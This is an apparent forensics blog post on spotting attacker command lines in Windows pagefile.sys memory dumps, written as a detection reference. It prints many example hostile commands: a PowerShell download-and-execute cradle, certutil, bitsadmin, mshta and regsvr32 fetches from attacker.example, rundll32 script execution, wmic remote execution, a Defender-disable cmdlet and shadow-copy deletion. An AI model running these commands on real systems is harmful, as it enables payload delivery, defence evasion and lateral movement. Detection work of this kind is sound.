Skip to content
← Back to the blog

Detecting malware command lines in pagefile.sys

5/20/2026 · 4 min read

When an attacker runs anything on a Windows host, the command line lives in memory for as long as the parent process exists — and often longer in caches like Sysmon's event buffers, cmd.exe history, and the kernel's PROCESSINFO structures. When that memory pages out, the command line lands in pagefile.sys.

The parser's Artifacts → Command lines tab catches the most common patterns automatically. This post is the reference for what those patterns are, what they look like, and how attackers try to obfuscate.

The LOLBin shortlist

The Windows binaries attackers reach for most often, all of which produce characteristic command-line shapes:

BinaryWhy attackers use it
powershell.exe / pwsh.exeScripting, encoded payloads, AMSI-bypass tricks
cmd.exeShell access, piping, simple downloaders
certutil.exe-urlcache -split -f — file downloader, base64 decode
bitsadmin.exetransfer myjob /download … — file downloader
mshta.exeExecutes HTA / JScript / VBS from URL
rundll32.exeLoads arbitrary DLL, executes named export
regsvr32.exe"Squiblydoo" — /s /i:http://…/payload.sct scrobj.dll
wmic.exeprocess call create, lateral movement
wscript.exe / cscript.exeVBS / JScript execution
installutil.exe.NET InstallUtil bypass of AppLocker
msbuild.exeInline-task execution of arbitrary C#

PowerShell patterns

PowerShell is the single biggest source of attacker command lines in pagefile dumps. What to grep for:

powershell.exe -nop -w hidden -enc <base64>
powershell -ExecutionPolicy Bypass -File C:\…
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://…')"
powershell -EncodedCommand <base64>
pwsh -nop -ep bypass -c "…"

The encoded command is the most useful: base64-decode it (it's UTF-16LE inside) and you get the actual PowerShell source. The parser's Artifacts → Command lines tab captures up to 256 characters following the powershell token, which is usually enough to capture the full -enc payload.

When you see -enc or -EncodedCommand:

echo "<base64>" | base64 -d | iconv -f UTF-16LE -t UTF-8

…to decode it.

Other PowerShell tells worth grepping for in the Strings tab:

  • [System.Net.WebClient], Net.WebClient, DownloadString, DownloadFile.
  • Invoke-Expression, IEX, iex.
  • [System.Reflection.Assembly]::Load, [Reflection.Assembly]::Load — in-memory .NET loading.
  • [Convert]::FromBase64String — almost always followed by a payload.
  • AmsiUtils, amsiInitFailed — AMSI bypass attempts.
  • Set-MpPreference -DisableRealtimeMonitoring — Defender disable.

certutil downloaders

A classic file-download pattern:

certutil.exe -urlcache -split -f http://attacker.example/payload.exe out.exe
certutil -urlcache -split -f https://… encoded.b64
certutil -decode encoded.b64 out.exe

certutil is signed by Microsoft and pre-installed everywhere, so attackers love it. Filter the Command lines artifacts tab for certutil or grep the Strings tab for -urlcache.

bitsadmin downloaders

bitsadmin /transfer myjob /download /priority high http://… C:\Users\Public\x.exe

Less common in modern engagements but still seen in older malware families.

mshta and HTA payloads

mshta.exe http://attacker.example/p.hta
mshta vbscript:CreateObject("Wscript.Shell").Run("…")
mshta javascript:…

Variations on mshta vbscript:… and mshta javascript:… are particularly worth grepping — they execute inline without ever touching disk.

rundll32 + DLL sideloading

rundll32.exe shell32.dll,#61 "C:\…"
rundll32.exe C:\Users\Public\evil.dll,DllMain
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();…

The javascript: variant exists thanks to a Microsoft moniker quirk. Filter for rundll32 and inspect each — most legitimate rundll32 calls have a numeric ordinal or a recognizable Microsoft DLL name; anything loading from %TEMP%, %PUBLIC%, %PROGRAMDATA%, or a user profile is suspicious.

regsvr32 "Squiblydoo"

regsvr32 /s /n /u /i:http://attacker.example/payload.sct scrobj.dll

A signed Microsoft binary loading remote scriptlet content. Search for regsvr32 + http.

WMIC for lateral movement

wmic /node:target process call create "powershell -enc …"
wmic process where name='lsass.exe' get processid

wmic /node: is the lateral-movement smoking gun — legitimate administrative use is uncommon on workstations.

Living-off-the-land obfuscation

Real-world attackers obfuscate. Common tricks that still leave readable fragments in pagefile:

  • Reversed strings: ('xeotuper' | ForEach-Object {…}) — read the string backwards.
  • Char-code arrays: [char[]](0x70,0x6f,0x77,…) — decode to ASCII.
  • String concatenation: "po" + "wer" + "shell" — both halves remain in memory as decoded strings.
  • Environment variable substitution: %comspec% /c …, %PSEXEC%.
  • Case alternation: PoWeRsHeLl — case doesn't matter to Windows but trips simple grep. The parser's regex uses case-insensitive matches by default.

The decoded string almost always ends up in memory at runtime — so even when the invocation is obfuscated, the effective command line shows up as plain readable strings nearby.

Cross-referencing with timestamps

A pagefile alone has no timestamps. To time-anchor a finding:

  • Pair with Microsoft-Windows-Sysmon/Operational event log (EventID 1, process create) — the same command line appears with a timestamp.
  • Pair with PowerShell Microsoft-Windows-PowerShell/Operational (EventID 4104, script block logging).
  • Pair with the Security log (EventID 4688, process creation, if AuditProcessCreation is enabled with command-line auditing).

If you also have those event logs, the workflow is: find the suspicious command line in pagefile → match it back to the EVTX record → get process tree, parent, user, timestamp.

What this tool's regex catches

The command artifact regex matches up to 256 characters following any of: cmd.exe, powershell / pwsh, wscript.exe, cscript.exe, rundll32.exe, mshta.exe, regsvr32.exe, certutil.exe, bitsadmin.exe. Case-insensitive. That covers the majority of practical attacker tradecraft.

For the rest — wmic, installutil, msbuild, vssadmin delete shadows, etc. — use the Strings tab and filter manually.

Related